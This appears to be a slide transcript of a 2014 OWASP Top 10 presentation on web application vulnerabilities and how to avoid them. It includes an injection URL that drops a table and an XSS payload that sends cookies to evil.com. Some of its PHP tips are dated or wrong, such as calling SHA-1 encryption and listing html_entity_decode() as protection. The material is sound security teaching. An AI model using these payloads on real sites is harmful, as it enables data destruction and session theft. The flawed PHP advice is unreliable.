+ All Categories
Home > Software > The top 10 security weakness (vulnerabilities) in web applications (OWASP Top 10)

The top 10 security weakness (vulnerabilities) in web applications (OWASP Top 10)

Date post: 24-Jan-2015
Category:
Upload: rushit-brahmbhatt
View: 179 times
Download: 4 times
Share this document with a friend
Description:
Hello Friends, This Is a presentation on OWASP(Open Web Application Security Project) top 10 key points. if we follow that rules we are able to create more secure system and prevent from different hackers and bugs.
33
Prepared By : Rushit Brahmbhatt Date: 10-07-2014 Mobile no: +91-8866115181 Company: Mxicoders Pvt. Ltd. The Top 10 Security weakness in Web Applications
Transcript

Prepared By : Rushit Brahmbhatt

Date: 10-07-2014

Mobile no: +91-8866115181

Company: Mxicoders Pvt. Ltd.

The Top 10 Security weakness in Web

Applications

IntroOpen Web Application Security Project

(OWASP)Top 10 Security VulnerabilitiesAvoidingPhp Tips

Agenda

What is OWASP?Website: http://owasp.orgWorldwide non-profit focused on improving software securityReaches out to ALL developers: not just security

professionals

Who am I?Bachelor in Computer Science And Engineering(GTU)Work as a PHP Developer since 1.5 YearEmployee of Mxicoders Pvt. Ltd.

What will you learn?The top 10 security mistakes that developers makeHow to design software with an assurance of security

Intro

1) Injection2) Cross Site Scripting3) Broken Authentication and Session Management4) Insecure Direct Object References5) Cross Site Request Forgery (CSRF)6) Security Misconfiguration7) Insecure Cryptographic Storage8) Failure to Restrict URL Access9) Insufficient Transport Layer Protection10) Invalidated Redirects and Forwards

OWASP Top Ten

Used when your app sends user-supplied data to other appsDatabase, Operating System, LDAP, Web

Services

Hackers "inject" their code to run instead of yoursTo access unauthorized data, or completely

take over remote application

1) Injection

Code expects a nice URL:http://example.com/products?id=123

Hacker could instead supply this:http://example.com/products?id=';+DROP+TABLE+'products';

Injection-Example

Always assume data coming in could be "evil"be sure to include "evil" use cases and user stories

in your design

Use an interface that supports bind variables (e.g., prepared statements, or stored procedures)

Encode all user input before passing it to the interpreter

If user-input text is needed, use parameterized queriesclean up quotes, parenthesis, and SQL comments

Avoiding

Sites must "cleanse" user input before displaying it

Hackers can create URLs to inject their own HTML onto the pagecan be used to do almost any kind of attack!!!

Steal user’s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site

Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites

2) Cross Site Scripting

Code expects a nice URL:http://example.com/buy?item=123

But a hacker could supply this:http://example.com/buy?

item='><script>document.location='http://evil.com/steal/'+document.cookie</script>

Cross Site Scripting-Example

Never, ever, ever trust user-submitted content! URLs, comments threads, web forms

Properly "escape" any data before displaying it on web pages JavaScript parameters, URL parameters, STYLE elements Remove script tags, and possibly anything with a SRC

attribute Use ESAPI to "cleanse" your HTML

Do not allow state-change from HTTP GET requests Otherwise, an IMG tag could cause you to lose all your data

Set the HttpOnly flag in your response headers Prevents document.cookie from working in JavaScript

Avoiding

HTTP is a "stateless" protocol Nice and simple: HTTP request, HTTP response All data must be passed in the request every time

How do we store state? Client side with cookies Server side with sessions

Most apps place a "sessionId" in cookies, or in the URL Problem: User accounts compromised or user sessions

hijacked

Multiple ways to determine a session ID HttpReferrer logs, if sessionId is in the URL

3) Broken Authentication and Session Management

Assume that a user stole a session ID Determine how bad this would be in your application

Use SSL everywhere! Makes it harder for people to “sniff” your session ID

If you cannot use SSL everywhere, use it for logins Have a cryptographically strong session ID Verify that logoff actually destroys the session

Good sessionIds should be very difficult to re-use Embed user IP address, user name, timestamp, and a

secret Forces an attacker to spoof IP addresses to take over Prompt for re-login if IP changes during a session

Avoiding

This is part of enforcing proper “Authorization”, along with 7 – Failure to Restrict URL Access

Only listing the ‘authorized’ objects for the current user,

This is called presentation layer access control, and doesn’t work

Users are able to access unauthorized files or data

4) Insecure Direct Object References

Code expects a nice URL:http://example.com/profile/123

But a hacker could supply this:http://example.com/profile/124

Attacker views the victim’s account information

Insecure Direct Object References-Example

 Eliminate the direct object referenceValidate the direct object reference

Verify the parameter value is properly formatted

Verify the user is allowed to access the target object

 Verify the requested mode of access is allowed to the target object (e.g., read, write, delete)

Avoiding

An attack where the victim’s browser is tricked into issuing a command to a vulnerable web application

Vulnerability is caused by browsers automatically including user authentication data (session ID, IP address, Windows domain credentials, …) with each request

Impact : Initiate transactions (transfer funds, logout user,

close account)  Access sensitive dataChange account details

5) Cross Site Request Forgery (CSRF)

All state change should require a unique token in the request

But if its in the URL, it's vulnerable! avoid reusable tokens

General solution:All state change requires HTTP POST, not a GETPut one-time token in a hidden field on the web formAfter POST, do a GET redirect to a confirmation page

What kind of token?Single-request tokens: safest, but a painSession-based tokens hashed with session ID and action

Require multiple-level authentication If an action looks fishy, re-prompt user for login

Avoiding

Most web applications depend on some kind of frameworkWeblogic, Spring, Ruby on Rails, Open Source

Libraries, Codeignitor, wordpress, joomla, cakephp.What if your framework issued a security patch?

Do you have a centralized policy for keeping dependencies up-to-date?

How long would it take you to discover new code?How long would it take to recompile/test/redeploy?

Do you know all security configurations in the framework?Odds are no... documentation is usually obtuse“Being helpful is a security hole”

Have you properly "hardened" your framework?Delete default users, disable unused services and ports

6) Security Misconfiguration

Subscribe to newsletters and blog feeds to get patchesInstall the patches as quickly as possible

Do periodic scans to detect missing patchesDisable features that are "nice" for

developers, but "nasty" for securityUse automation to ensure patches are up-to-

dateIf you can't verify it, it's not secure?

Avoiding

All applications store sensitive dataCredit cards, passwords, secure documents

How much "sensitive" data is in your log files?In general, or for exotic errors?

How are you preventing unauthorized access to these resources?

If somebody stole your backup tapes, how bad would it be?

7) Insecure Cryptographic Storage

If you store secrets, encrypt them!Use only battle-tested standard encryption algorithms

Analyze possible threats: inside attack, external userMake sure encryption policy is appropriate for the threats

Encrypt data anywhere it's stored long termEspecially backups!Store backups of decryption keys separately from data

Restrict access to decrypted data to only authorized users

Hash all passwords with a standard algorithm, and a "salt"

Use strong keys to access the informationCreate a password management policy, and stick with it!

Avoiding

Similar to #4: Insecure Direct Object ReferenceNeed to block specific actions, even if no

resource is identifiedAttackers invoke functions and services

they’re not authorized for Access other user’s accounts and data Perform privileged actions

8) Failure to Restrict URL Access

Code expects a nice URL:http://example.com/user/getAccounts

But a hacker could supply this:http://example.com/admin/getAccounts

Attacker views more accounts than just their own

Failure to Restrict URL Access-Example

For each URL, a site needs to do 3 things Restrict access to authenticated users (if not public) Enforce any user or role based permissions (if private) Completely disallow requests to unauthorized page types

(e.g., config files, log files, source files, etc.) Verify your architecture

Use a simple, positive model at every layer Be sure you actually have a mechanism at every layer

Verify the implementation Forget automated analysis approaches Verify that each URL in your application is protected Verify the server configuration disallows requests to

unauthorized file types Use WebScarab or your browser to forge unauthorized

requests

Avoiding

How is sensitive information sent from the user to your server?When they log in, or view sensitive data?

How do you send that information to other systems?JDBC call, Web Services, JMS, emails

9) Insufficient Transport Layer Protection

Use strong, standards compliant network security protocols

Use TLS (SSL) on all connections with sensitive data

Encrypt messages before transmissionXML-Encryption

Sign messages before transmissionXML-Signature

Disable old, flawed encryption algorithms (ie, SSL 2.0)

If HTTPS is impractical, at the very least secure the login process

Avoiding

 And frequently include user supplied parameters in the destination URL

If they aren’t validated, attacker can send victim to a site of their choice

Sometimes called "phishing holes"

10) Unvalidated Redirects and Forwards

Restrict redirects to a limited number of "trusted" sites

Keep a list of all redirect URLs, and pass the ID in the request, instead of the URLhttp://example.com/redirect?urlId=123

Hash the URL with a secret, and pass the hash in the URLhttp://example.com/redirect?

url=google.com&hash=a1b2c3

Avoiding

Use CaptchaAlways Use Server side validationUse access tokenUse Salt keyUse Encryption AlgorithmsUse Database prefixValidate User Input

Some Genral methods to prevent all this things

html_entity_decode() - Convert all HTML entities to their applicable characters

htmlspecialchars() - Convert special characters to HTML entities

urlencode() - URL-encodes stringmysql_real_escape_string()-Escapes special charactersSh1()-defult encryption algorithmstrip_tags() – This function removes all the HTML,

JavaScript and php tag from the string.Intval- it is function which gets the integer value from

the variable

Some php function that helps you

Any Question!!!!!

WWW.GOOGLE.COMWWW.SLIDESHARE.NETWWW.OWASP.ORGWWW.WIKIPEDIA.ORG

Reference


Recommended